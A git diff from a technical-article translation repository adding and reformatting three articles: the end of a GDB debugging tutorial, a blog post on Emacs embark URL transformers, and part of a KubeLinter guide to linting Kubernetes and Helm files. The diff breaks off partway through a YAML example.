breakpoints 3 and 4 are disabled and are marked with a minus sign in the code window: - -![disabled breakpoints][24] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -It is also possible to modify a range of breakpoints or watchpoints by typing something like `disable 2 - 4`. If you want to reactivate the points, type `enable` followed by their numbers. - -### Conditional breakpoints - -First, remove all breakpoints and watchpoints by typing `delete`. You still want the program to stop at the `main` function, but instead of specifying a line number, add a breakpoint by naming the function directly. Type `break main` to add a breakpoint at the `main` function. - -Type `run` to start the execution from the beginning, and the program will stop at the `main` function. - -The `main` function includes the variable `n_state_3_count`, which is incremented when the state machine hits state 3. - -To add a conditional breakpoint based on the value of `n_state_3_count` type: - - -``` -`break 54 if n_state_3_count == 3` -``` - -![Set conditional breakpoint][25] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Continue the execution. The program will execute the state machine three times before it stops at line 54. To check the value of `n_state_3_count`, type: - - -``` -`print n_state_3_count` -``` - -![print variable][26] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -#### Make breakpoints conditional - -It is also possible to make an existing breakpoint conditional. Remove the recently added breakpoint with `clear 54`, and add a simple breakpoint by typing `break 54`. You can make this breakpoint conditional by typing: - - -``` -`condition 3 n_state_3_count == 9` -``` - -The `3` refers to the breakpoint number. - -![modify breakpoint][27] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -#### Set breakpoints in other source files - -If you have a program that consists of several source files, you can set breakpoints by specifying the file name before the line number, e.g., `break main.cpp:54`. - -#### Catchpoints - -In addition to breakpoints and watchpoints, you can also set catchpoints. Catchpoints apply to program events like performing syscalls, loading shared libraries, or raising exceptions. - -To catch the `write` syscall, which is used to write to STDOUT, enter: - - -``` -`catch syscall write` -``` - -![catch syscall write output][28] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Each time the program writes to the console output, GDB will interrupt execution. - -In the manual, you can find a whole chapter [covering break-, watch-, and catchpoints][29]. - -### Evaluate and manipulate symbols - -Printing the values of variables is done with the `print` command. The general syntax is `print `. The value of a variable can be modified by typing: - - -``` -`set variable .` -``` - -In the screenshot below, I gave the variable `n_state_3_count` the value _123_. - -![print variable][30] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The `/x` expression prints the value in hexadecimal; with the `&` operator, you can print the address within the virtual address space. - -If you are not sure of a certain symbol's data type, you can find it with `whatis`: - -![whatis output][31] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -If you want to list all variables that are available in the scope of the `main` function, type `info scope main`: - -![info scope main output][32] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The `DW_OP_fbreg` values refer to the stack offset based on the current subroutine. - -Alternatively, if you are already inside a function and want to list all variables on the current stack frame, you can use `info locals`: - -![info locals output][33] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Check the manual to learn more about [examining symbols][34]. - -### Attach to a running process - -The command `gdb attach ` allows you to attach to an already running process by specifying the process ID (PID). Luckily, the `coredump` program prints its current PID to the screen, so you don't have to manually find it with [ps][35] or [top][36]. - -Start an instance of the coredump application: - - -``` -`./coredump` -``` - -![coredump application][37] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The operating system gives the PID `2849`. Open a separate console window, move to the coredump application's source directory, and attach GDB: - - -``` -`gdb attach 2849` -``` - -![attach GDB to coredump][38] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -GDB immediately stops the execution when you attach it. Type `layout src` and `backtrace` to examine the call stack: - -![layout src and backtrace output][39] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The output shows the process interrupted while executing the `std::this_thread::sleep_for<...>(...)` function that was called in line 92 of `main.cpp`. - -As soon as you quit GDB, the process will continue running. - -You can find more information about [attaching to a running process][40] in the GDB manual. - -#### Move through the stack - -Return to the program by using `up` two times to move up in the stack to `main.cpp`: - -![moving up the stack to main.cpp][41] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Usually, the compiler will create a subroutine for each function or method. Each subroutine has its own stack frame, so moving upwards in the stackframe means moving upwards in the callstack. - -You can find out more about [stack evaluation][42] in the manual. - -#### Specify the source files - -When attaching to an already running process, GDB will look for the source files in the current working directory. Alternatively, you can specify the source directories manually with the [`directory` command][43]. - -### Evaluate dump files - -Read [_Creating and debugging Linux dump files_][3] for information about this topic. - -TL;DR: - - 1. I assume you're working with a recent version of Fedora - - 2. Invoke coredump with the c1 switch: `coredump -c1` - -![Crash meme][44] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - - 3. Load the latest dumpfile with GDB: `coredumpctl debug` - - 4. Open TUI mode and enter `layout src` - - - - -![coredump output][45] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The output of `backtrace` shows that the crash happened five stack frames away from `main.cpp`. Enter to jump directly to the faulty line of code in `main.cpp`: - -![up 5 output][46] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -A look at the source code shows that the program tried to free a pointer that was not returned by a memory management function. This results in undefined behavior and caused the `SIGABRT`. - -### Debug without symbols - -If there are no sources available, things get very hard. I had my first experience with this when trying to solve reverse-engineering challenges. It is also useful to have some knowledge of [assembly language][47]. - -Check out how it works with this example. - -Go to the source directory, open the **Makefile**, and edit line 9 like this: - - -``` -`CFLAGS =-Wall -Werror -std=c++11 #-g` -``` - -To recompile the program, run `make clean` followed by `make` and start GDB. The program no longer has any debugging symbols to lead the way through the source code. - -![no debugging symbols][48] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The command `info file` reveals the memory areas and entry point of the binary: - -![info file output][49] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The entry point corresponds with the beginning of the `.text` area, which contains the actual opcode. To add a breakpoint at the entry point, type `break *0x401110` then start execution by typing `run`: - -![breakpoint at the entry point][50] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -To set up a breakpoint at a certain address, specify it with the dereferencing operator `*`. - -#### Choose the disassembler flavor - -Before digging deeper into assembly, you can choose which [assembly flavor][51] to use. GDB's default is AT&T, but I prefer the Intel syntax. Change it with: - - -``` -`set disassembly-flavor intel` -``` - -![changing assembly flavor][52] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Now open the assembly and register the window by typing `layout asm` and `layout reg`. You should now see output like this: - -![layout asm and layout reg output][53] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -#### Save configuration files - -Although you have already entered many commands, you haven't actually started debugging. If you are heavily debugging an application or trying to solve a reverse-engineering challenge, it can be useful to save your GDB-specific settings in a file. - -The [config file `gdbinit`][54] in this project's GitHub repository contains the recently used commands: - - -``` -set disassembly-flavor intel -set write on -break *0x401110 -run -c2 -layout asm -layout reg -``` - -The `set write on` command enables you to modify the binary during execution. - -Quit GDB and reopen it with the configuration file: `gdb -x gdbinit coredump`. - -#### Read instructions - -With the `c2` switch applied, the program will crash. The program stops at the entry function, so you have to write `continue` to proceed with execution: - -![continuing execution after crash][55] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The `idiv` instruction performs an integer division with the dividend in the `RAX` register and the divisor specified as an argument. The quotient is loaded into the `RAX` register, and the remainder is loaded into `RDX`. - -From the register overview, you can see the `RAX` contains _5_, so you have to find out which value is stored on the stack at position `RBP-0x4`. - -#### Read memory - -To read raw memory content, you must specify a few more parameters than for reading symbols. When you scroll up a bit in the assembly output, you can see the division of the stack: - -![stack division output][56] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -You're most interested in the value of `rbp-0x4` because this is the position where the argument for `idiv` is stored. From the screenshot, you can see that the next variable is located at `rbp-0x8`, so the variable at `rbp-0x4` is 4 bytes wide. - -In GDB, you can use the `x` command to _examine_ any memory content: - -> `x/` < optional parameter `n` `f` `u` > < memory address `addr` > - -Optional parameters: - - * `n`: Repeat count (default: 1) refers to the unit size - * `f`: Format specifier, like in [printf][57] - * `u`: Unit size - * `b`: bytes - * `h`: half words (2 bytes) - * `w`: word (4 bytes)(default) - * `g`: giant word (8 bytes) - - - -To print out the value at `rbp-0x4`, type `x/u $rbp-4`: - -![print value][58] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -If you keep this pattern in mind, it's straightforward to examine the memory. Check the [examining memory][59] section in the manual. - -#### Manipulate the assembly - -The arithmetic exception happened in the subroutine `zeroDivide()`. When you scroll a bit upward with the Up arrow key, you can find this pattern: - - -``` -0x401211 <_Z10zeroDividev>              push   rbp -0x401212 <_Z10zeroDividev+1>            mov    rbp,rsp   -``` - -This is called the [function prologue][60]: - - 1. The base pointer (`rbp`) of the calling function is stored on the stack - 2. The value of the stack pointer (`rsp`) is loaded to the base pointer (`rbp`) - - - -Skip this subroutine completely. You can check the call stack with `backtrace`. You are only one stack frame ahead of your `main` function, so you can go back to `main` with a single `up`: - -![Callstack assembly][61] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -In your `main` function, you can find this pattern: - - -``` -0x401431 <main+497>     cmp    BYTE PTR [rbp-0x12],0x0 -0x401435 <main+501>     je     0x40145f <main+543> -0x401437 <main+503>     call   0x401211<_Z10zeroDividev> -``` - -The subroutine `zeroDivide()` is entered only when `jump equal (je)` evaluates to `true`. You can easily replace this with a `jump-not-equal (jne)` instruction, which has the opcode `0x75` (provided you are on an x86/64 architecture; the opcodes are different on other architectures). Restart the program by typing `run`. When the program stops at the entry function, manipulate the opcode by typing: - - -``` -`set *(unsigned char*)0x401435 = 0x75` -``` - -Finally, type `continue`. The program will skip the subroutine `zeroDivide()` and won't crash anymore. - -### Conclusion - -You can find GDB working in the background in many integrated development environments (IDEs), including Qt Creator and the [Native Debug][62] extension for VSCodium. - -![GDB in VSCodium][63] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -It's useful to know how to leverage GDB's functionality. Usually, not all of GDB's functions can be used from the IDE, so you benefit from having experience using GDB from the command line. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/gnu-project-debugger - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/mistake_bug_fix_find_error.png?itok=PZaz3dga (magnifying glass on computer screen, finding a bug in the code) -[2]: https://www.gnu.org/software/gdb/ -[3]: https://opensource.com/article/20/8/linux-dump -[4]: https://opensource.com/sites/default/files/uploads/gdb_output_no_dbg_symbols.png (gdb coredump output) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: tmp.2p0XrqmAS5#without_symbols -[7]: https://opensource.com/sites/default/files/uploads/gdb_output_with_symbols.png (GDB output with symbols) -[8]: https://opensource.com/sites/default/files/uploads/gdb_output_crash_on_c1_switch.png (gdb output crash on c1 switch) -[9]: https://opensource.com/sites/default/files/uploads/gdb_output_info_source.png (gdb info source output) -[10]: http://dwarfstd.org/ -[11]: https://sourceware.org/gdb/current/onlinedocs/gdb/Compilation.html#Compilation -[12]: https://opensource.com/sites/default/files/uploads/gdb_output_info_shared.png (gdb info shared output) -[13]: https://opensource.com/article/20/6/linux-libraries -[14]: https://opensource.com/sites/default/files/uploads/gdb_output_stopped_by_sigint.png (gdb output stopped by sigint) -[15]: https://opensource.com/sites/default/files/uploads/gdb_output_list_main.png (gdb output list main) -[16]: https://opensource.com/sites/default/files/uploads/gdb_output_breakpoint_added.png (gdb output breakpoint added) -[17]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_main.png (gdb output break at main) -[18]: https://opensource.com/sites/default/files/images/gdb_output_screen_corrupted.png (gdb output corrupted) -[19]: https://sourceware.org/gdb/onlinedocs/gdb/TUI-Keys.html#TUI-Keys -[20]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_1.png (gdb output stop on watchpoint_1) -[21]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_2.png (gdb output stop on watchpoint_2) -[22]: https://opensource.com/sites/default/files/uploads/gdb_output_info_watchpoints.png (gdb output info watchpoints) -[23]: https://opensource.com/sites/default/files/uploads/gdb_output_info_breakpoints.png (gdb output info breakpoints) -[24]: https://opensource.com/sites/default/files/uploads/gdb_output_disabled_breakpoints.png (disabled breakpoints) -[25]: https://opensource.com/sites/default/files/uploads/gdb_output_set_conditional_breakpoint.png (Set conditional breakpoint) -[26]: https://opensource.com/sites/default/files/uploads/gdb_output_print_variable.png (print variable) -[27]: https://opensource.com/sites/default/files/uploads/gdb_output_modify_breakpoint.png (modify breakpoint) -[28]: https://opensource.com/sites/default/files/uploads/gdb_output_syscall_catch.png (catch syscall write output) -[29]: https://sourceware.org/gdb/current/onlinedocs/gdb/Breakpoints.html#Breakpoints -[30]: https://opensource.com/sites/default/files/uploads/gdb_output_print_and_modify.png (print variable) -[31]: https://opensource.com/sites/default/files/uploads/gdb_output_whatis.png (whatis output) -[32]: https://opensource.com/sites/default/files/uploads/gdb_output_info_scope_main.png (info scope main output) -[33]: https://opensource.com/sites/default/files/uploads/gdb_output_info_locals_main.png (info locals output) -[34]: https://sourceware.org/gdb/current/onlinedocs/gdb/Symbols.html -[35]: https://man7.org/linux/man-pages/man1/ps.1.html -[36]: https://man7.org/linux/man-pages/man1/top.1.html -[37]: https://opensource.com/sites/default/files/uploads/coredump_running.png (coredump application) -[38]: https://opensource.com/sites/default/files/uploads/gdb_output_attaching_to_process.png (attach GDB to coredump) -[39]: https://opensource.com/sites/default/files/uploads/gdb_output_backtrace.png (layout src and backtrace output) -[40]: https://sourceware.org/gdb/current/onlinedocs/gdb/Attach.html#Attach -[41]: https://opensource.com/sites/default/files/uploads/gdb_output_stackframe_up.png (moving up the stack to main.cpp) -[42]: https://sourceware.org/gdb/current/onlinedocs/gdb/Stack.html#Stack -[43]: https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_48.html#SEC49 -[44]: https://opensource.com/sites/default/files/uploads/crash.png (Crash meme) -[45]: https://opensource.com/sites/default/files/uploads/gdb_output_coredump.png (coredump output) -[46]: https://opensource.com/sites/default/files/uploads/gdb_output_up_five.png (up 5 output) -[47]: https://en.wikipedia.org/wiki/Assembly_language -[48]: https://opensource.com/sites/default/files/uploads/gdb_output_no_debugging_symbols.png (no debugging symbols) -[49]: https://opensource.com/sites/default/files/uploads/gdb_output_info_file.png (info file output) -[50]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_start.png (breakpoint at the entry point) -[51]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax -[52]: https://opensource.com/sites/default/files/uploads/gdb_output_disassembly_flavor.png (changing assembly flavor) -[53]: https://opensource.com/sites/default/files/uploads/gdb_output_layout_reg_asm.png (layout asm and layout reg output) -[54]: https://github.com/hANSIc99/core_dump_example/blob/master/gdbinit -[55]: https://opensource.com/sites/default/files/uploads/gdb_output_asm_div_zero.png (continuing execution after crash) -[56]: https://opensource.com/sites/default/files/uploads/gdb_output_stack_division.png (stack division output) -[57]: https://en.wikipedia.org/wiki/Printf_format_string#Type_field -[58]: https://opensource.com/sites/default/files/uploads/gdb_output_examine_1.png (print value) -[59]: https://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html -[60]: https://en.wikipedia.org/wiki/Function_prologue -[61]: https://opensource.com/sites/default/files/uploads/gdb_output_callstack_assembly_0.png (Callstack assembly) -[62]: https://github.com/WebFreak001/code-debug -[63]: https://opensource.com/sites/default/files/uploads/vs_codium_native_debug.png (GDB in VSCodium) diff --git a/sources/tech/20210111 an even better video wharf.md b/sources/tech/20210111 an even better video wharf.md new file mode 100644 index 0000000000..d42ace0d0b --- /dev/null +++ b/sources/tech/20210111 an even better video wharf.md @@ -0,0 +1,121 @@ +[#]: subject: "an even better video wharf" +[#]: via: "https://jao.io/blog/2021-01-11-an-even-better-video-wharf.html" +[#]: author: "jao https://jao.io" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +an even better video wharf +====== + +A couple of days ago, [i was writing][1] about [embark][2] and my first experiment defining a new embarking to play remote video streams. Omar Antolín Camarena, embark's author, has been kind enough to not only read it, but comment on a couple of significant improvements that i think well deserve this follow-up. + +First, you'll remember that we were defining a function to detect a video URL: + +``` + + (defun jao-video-finder () + "Check whether we're looking at a video URL. + Return (video-url . ) if so." + (when-let ((url (thing-at-point-url-at-point))) + (when (string-match-p jao-video-url-rx url) + (cons 'video-url url)))) + +``` + +Once we've got a non-null `url` value, even if it's not a video URL, it's still certainly a URL, and embark has a `url` category, so we could save a new parsing by the default URL finder by saying: + +``` + + (when-let ((url (thing-at-point-url-at-point))) + (cons (if (string-match-p jao-video-url-rx url) 'video-url 'url) url)) + +``` + +This has the potential drawback that we're overriding embark's finder, `embark-target-url-at-point`, and we might prefer to keep the latter. + +Turns out that we can do that thanks to embark's _target transformers_. One can add to `embark-transformers-alist` an arbitrary function to be applied to a target of any given category, and embark will apply its actions to the transformed value. Omar calls this process, very aptly, a refinement of the target; here's how we would do it: + +``` + + (defun jao-refine-url-type (url) + "Refine type of URL in case it is a video." + (cons (if (string-match-p jao-video-url-rx url) 'video-url 'url) url)) + + (add-to-list 'embark-transformer-alist '(url . jao-refine-url-type)) + +``` + +With this strategy, we don't need `jao-video-finder` at all, and it also makes lots of sense, conceptually, to have our `video-url` defined as a refinement rather than a new target[1][3]. Omar's second suggestion is also in line with this concept: surely we want all actions available for `url` also for our `video-url`, don't we? Well, that's exactly the reason why the `embark-define-keymap` macro we used to define our actions can inherit all the actions already defined in another keymap, using the `:parent` keyword[2][4]: + +``` + + (embark-define-keymap jao-video-url-map + "Actions on URLs pointing to remote video streams." + :parent embark-url-map + ("p" jao-play-video-url)) + + (add-to-list 'embark-keymap-alist '(video-url . jao-video-url-map)) + +``` + +It is worth noting that this ability to inherit a keymap is not really an embark add-on: vanilla Emacs keymaps already have it, via the standard function `set-keymap-parent`. You could actually define `jao-video-url-map` without using `embark-define-keymap` at all, and it'd work exactly the same. + +So, our code has become shorter and more featureful: thanks, Omar! + +### Footnotes: + +[1][5] + +There's a scenario where keeping jao-video-finder could make sense, namely, if we want to alter the URL detection function. For instance, i use emacs-w3m, and there often a URL is stored as a text property (the actual text being the link text). To retrieve the URL at point there, one needs to call `w3m-anchor`, and `embark-target-url-at-point` will miss it. For that scenario, i ended up writing (and using) `jao-video-finder` defined with: + +``` + + (when-let ((url (or (w3m-anchor) (thing-at-point-url-at-point)))) + (cons (if (string-match-p jao-video-url-rx url) 'video-url 'url) url)) + +``` + +Another way of accomplishing the same thing (with another tip of the hat to Omar) would be to add a specific finder for w3m anchors (and keep using the transformer for video-url): + +``` + + (defun jao-w3m-url-finder () + (when-let ((url (w3m-anchor))) + (cons 'url url))) + + (add-to-list 'embark-target-finders #'jao-w3m-url-finder) + +``` + +This way is more modular and, depending on your taste, more elegant. These functions are small and there's not a big difference between the two approaches, but if one keeps adding finders, things can easily get uglier with the former approach. + +[2][6] + +In my original example, i was adding also `browse-url` and `browse-url-firefox` to the video map. The former is no longer necessary, because it's already present in `embark-url-map`. If we wanted to make `browse-url-firefox` available to _all_ URLs, we could add it to `embark-url-map` (remember, embark's keymaps are just Emacs keymaps). That's yet another simple way of extending embark. + +[Tags][7]: [emacs][8] + +-------------------------------------------------------------------------------- + +via: https://jao.io/blog/2021-01-11-an-even-better-video-wharf.html + +作者:[jao][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jao.io +[b]: https://github.com/lujun9972 +[1]: https://jao.io/blog/2021-01-09-embarking-videos.html +[2]: https://github.com/oantolin/embark +[3]: tmp.VUqMT3Yft2#fn.1 +[4]: tmp.VUqMT3Yft2#fn.2 +[5]: tmp.VUqMT3Yft2#fnr.1 +[6]: tmp.VUqMT3Yft2#fnr.2 +[7]: https://jao.io/blog/tags.html +[8]: https://jao.io/blog/tag-emacs.html diff --git a/sources/tech/20210113 Analyze Kubernetes files for errors with KubeLinter.md b/sources/tech/20210113 Analyze Kubernetes files for errors with KubeLinter.md index 37b7f2ff53..ed86a16cf2 100644 --- a/sources/tech/20210113 Analyze Kubernetes files for errors with KubeLinter.md +++ b/sources/tech/20210113 Analyze Kubernetes files for errors with KubeLinter.md @@ -1,18 +1,20 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Analyze Kubernetes files for errors with KubeLinter) -[#]: via: (https://opensource.com/article/21/1/kubelinter) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) +[#]: subject: "Analyze Kubernetes files for errors with KubeLinter" +[#]: via: "https://opensource.com/article/21/1/kubelinter" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " Analyze Kubernetes files for errors with KubeLinter ====== -Find and fix errors in your Helm charts and Kubernetes configuration -files with KubeLinter. +Find and fix errors in your Helm charts and Kubernetes configuration files with KubeLinter. + ![magnifying glass on computer screen, finding a bug in the code][1] +Image by: Opensource.com + [KubeLinter][2] is an open source project released by Stackrox to analyze Kubernetes YAML files for security issues and errant code. The tool covers Helm charts and Kubernetes configuration files, including [Knative][3] files. Using it can improve cloud-native development, reduce development time, and encourage DevOps best practices. ### Download and install @@ -23,23 +25,20 @@ You have several options to install KubeLinter. You can install manually from the Git repository: - ``` -$ git clone [git@github.com][4]:stackrox/kube-linter.git -$ cd kube-linter && make build +$ git clone git@github.com:stackrox/kube-linter.git +$ cd kube-linter && make build $ .gobin/kube-linter version ``` -If you use [Homebrew][5], you can install it with the `brew` command: - +If you use [Homebrew][4], you can install it with the `brew` command: ``` -`$ brew install kube-linter` +$ brew install kube-linter ``` You can also install it with Go (as I did): - ``` $ GO111MODULE=on go get golang.stackrox.io/kube-linter/cmd/kube-linter go: finding golang.stackrox.io/kube-linter latest @@ -48,11 +47,10 @@ go: extracting golang.stackrox.io/kube-linter v0.0.0-20201204022312-475075c74675 [...] ``` -After installing, you must make an alias in your `~/.bashrc`: - +After installing, you must make an alias in your `~/.bashrc` : ``` -$ echo "alias kube-linter=$HOME/go/bin/kube-linter" >> ~/.bashrc +$ echo "alias kube-linter=$HOME/go/bin/kube-linter" >> ~/.bashrc $ source ~/.bashrc ``` @@ -60,7 +58,6 @@ $ source ~/.bashrc Now that the tool is installed, try it out on a Helm chart. First, start Minikube with a clean build and some small configuration changes: - ``` $ minikube config set kubernetes-version v1.19.0 $ minikube config set memory 8000 @@ -68,23 +65,22 @@ $ minikube config set memory 8000 $ minikube config set cpus 12 ❗  These changes will take effect upon a minikube delete and then a minikube start $ minikube delete -🔥  Deleting "minikube" in docker ... -🔥  Deleting container "minikube" ... -🔥  Removing /home/jess/.minikube/machines/minikube ... -💀  Removed all traces of the "minikube" cluster. +?  Deleting "minikube" in docker ... +?  Deleting container "minikube" ... +?  Removing /home/jess/.minikube/machines/minikube ... +?  Removed all traces of the "minikube" cluster. $ minikube start -😄  minikube v1.14.2 on Debian bullseye/sid +?  minikube v1.14.2 on Debian bullseye/sid ✨  Using the docker driver based on user configuration -👍  Starting control plane node minikube in cluster minikube -🎉  minikube 1.15.1 is available! Download it: -💡  To disable this notice, run: 'minikube config set WantUpdateNotification false' +?  Starting control plane node minikube in cluster minikube +?  minikube 1.15.1 is available! Download it: https://github.com/kubernetes/minikube/releases/tag/v1.15.1 +?  To disable this notice, run: 'minikube config set WantUpdateNotification false' -💾  Downloading Kubernetes v1.19.0 preload ... +?  Downloading Kubernetes v1.19.0 preload ... ``` -Once everything is running, create an example Helm chart called `first_test`: - +Once everything is running, create an example Helm chart called `first_test` : ``` $ helm create first_test @@ -95,7 +91,6 @@ first_test Test KubeLinter against the new, unedited chart. Run the `kube-linter` command to see the available commands and flags: - ``` $ kube-linter Usage: @@ -103,8 +98,8 @@ Usage: Available Commands:   checks      View more information on lint checks -  help        Help about any command -  lint        Lint Kubernetes YAML files and Helm charts +  help  Help about any command +  lint  Lint Kubernetes YAML files and Helm charts   templates   View more information on check templates   version     Print version and exit @@ -116,13 +111,12 @@ Use "/home/jess/go/bin/kube-linter [command] --help" for more information about Then test what the basic `lint` command does to your example chart. You'll end up with many errors, so I'll grab a snippet of some issues: - ``` $ kube-linter lint first_test/ -first_test/first_test/templates/deployment.yaml: (object: <no namespace>/test-release-first_test apps/v1, Kind=Deployment) container "first_test" does not have a read-only root file system (check: no-read-only-root-fs, remediation: Set readOnlyRootFilesystem to true in your container's securityContext.) +first_test/first_test/templates/deployment.yaml: (object: /test-release-first_test apps/v1, Kind=Deployment) container "first_test" does not have a read-only root file system (check: no-read-only-root-fs, remediation: Set readOnlyRootFilesystem to true in your container's securityContext.) -first_test/first_test/templates/deployment.yaml: (object: <no namespace>/test-release-first_test apps/v1, Kind=Deployment) container "first_test" is not set to runAsNonRoot (check: run-as-non-root, remediation: Set runAsUser to a non-zero number, and runAsNonRoot to true, in your pod or container securityContext. See for more details.) +first_test/first_test/templates/deployment.yaml: (object: /test-release-first_test apps/v1, Kind=Deployment) container "first_test" is not set to runAsNonRoot (check: run-as-non-root, remediation: Set runAsUser to a non-zero number, and runAsNonRoot to true, in your pod or container securityContext. See https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ for more details.) [...] Error: found 12 lint errors ``` @@ -131,14 +125,12 @@ For the sake of brevity, I picked two security issues that are easy for me to f The `kube-linter` output provides hints about the required fixes. For instance, the first error ends with: - ``` -`remediation: Set readOnlyRootFilesystem to true in your container's securityContext.` +remediation: Set readOnlyRootFilesystem to true in your container's securityContext. ``` The next step is clear: Open the `values.yaml` file in a text editor (I use Vi, but you can use whatever you like) and locate the `securityContext` section: - ``` securityContext: {}   # capabilities: @@ -151,12 +143,11 @@ securityContext: {} Uncomment the section and remove the braces: - ``` -securityContext: +securityContext:    capabilities:      drop: -    - ALL +     - ALL    readOnlyRootFilesystem: true    runAsNonRoot: true    runAsUser: 1000 @@ -164,20 +155,18 @@ securityContext: Save the file and rerun the linter. Those errors no longer show up in the list, and the error count changes. - ``` -`Error: found 10 lint errors` +Error: found 10 lint errors ``` Congratulations! You have resolved security issues! ### Kubernetes with KubeLinter -This example uses an app file from my [previous article on Knative][6] to test against Kubernetes config files. I already have Knative up and running, so you may want to review that article if it's not running on your system. +This example uses an app file from my [previous article on Knative][5] to test against Kubernetes config files. I already have Knative up and running, so you may want to review that article if it's not running on your system. I downloaded the Kourier service YAML file for this example: - ``` $ ls kourier.yaml   first_test @@ -185,13 +174,12 @@ kourier.yaml   first_test Start by running the linter against `kourier.yaml`. Again, there are several issues. I'll focus on resource problems: - ``` -$ kube-linter lint kourier.yaml +$ kube-linter lint kourier.yaml -kourier.yaml: (object: kourier-system/3scale-kourier-gateway apps/v1, Kind=Deployment) container "kourier-gateway" has cpu limit 0 (check: unset-cpu-requirements, remediation: Set your container's CPU requests and limits depending on its requirements. See for more details.) +kourier.yaml: (object: kourier-system/3scale-kourier-gateway apps/v1, Kind=Deployment) container "kourier-gateway" has cpu limit 0 (check: unset-cpu-requirements, remediation: Set your container's CPU requests and limits depending on its requirements. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#requests-and-limits for more details.) -kourier.yaml: (object: kourier-system/3scale-kourier-gateway apps/v1, Kind=Deployment) container "kourier-gateway" has memory request 0 (check: unset-memory-requirements, remediation: Set your container's memory requests and limits depending on its requirements. See for more details.) +kourier.yaml: (object: kourier-system/3scale-kourier-gateway apps/v1, Kind=Deployment) container "kourier-gateway" has memory request 0 (check: unset-memory-requirements, remediation: Set your container's memory requests and limits depending on its requirements. See https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#requests-and-limits for more details.) Error: found 12 lint errors ``` @@ -200,7 +188,6 @@ Since this is a single deployment file, you can edit it directly. Open it in a t Start with deployment: - ``` apiVersion: apps/v1 kind: Deployment @@ -214,70 +201,67 @@ metadata: The containers section has some problems: - ``` -   spec: -      containers: -      - args: -       - --base-id 1 -        - -c /tmp/config/envoy-bootstrap.yaml -        - --log-level info -        command: -       - /usr/local/bin/envoy -        image: docker.io/maistra/proxyv2-ubi8:1.1.5 -        imagePullPolicy: Always -        name: kourier-gateway -        ports: -        - name: http2-external -          containerPort: 8080 -          protocol: TCP -        - name: http2-internal -          containerPort: 8081 -          protocol: TCP -        - name: https-external -          containerPort: 8443 -          protocol: TCP +spec: + containers: + - args: +  - --base-id 1 +   - -c /tmp/config/envoy-bootstrap.yaml +   - --log-level info +   command: +  - /usr/local/bin/envoy +   image: docker.io/maistra/proxyv2-ubi8:1.1.5 +   imagePullPolicy: Always +   name: kourier-gateway +   ports: +   - name: http2-external +     containerPort: 8080 +     protocol: TCP +   - name: http2-internal +     containerPort: 8081 +     protocol: TCP +   - name: https-external +     containerPort: 8443 +     protocol: TCP ``` Add some specs to the container configuration: - ``` -   spec: -      containers: -      - args: -       - --base-id 1 -        - -c /tmp/config/envoy-bootstrap.yaml -        - --log-level info -        command: -       - /usr/local/bin/envoy -        image: docker.io/maistra/proxyv2-ubi8:1.1.5 -        imagePullPolicy: Always -        name: kourier-gateway -        ports: -        - name: http2-external -          containerPort: 8080 -          protocol: TCP -        - name: http2-internal -          containerPort: 8081 -          protocol: TCP -        - name: https-external -          containerPort: 8443 -          protocol: TCP +spec: + containers: + - args: +  - --base-id 1 +   - -c /tmp/config/envoy-bootstrap.yaml +   - --log-level info +   command: +  - /usr/local/bin/envoy +   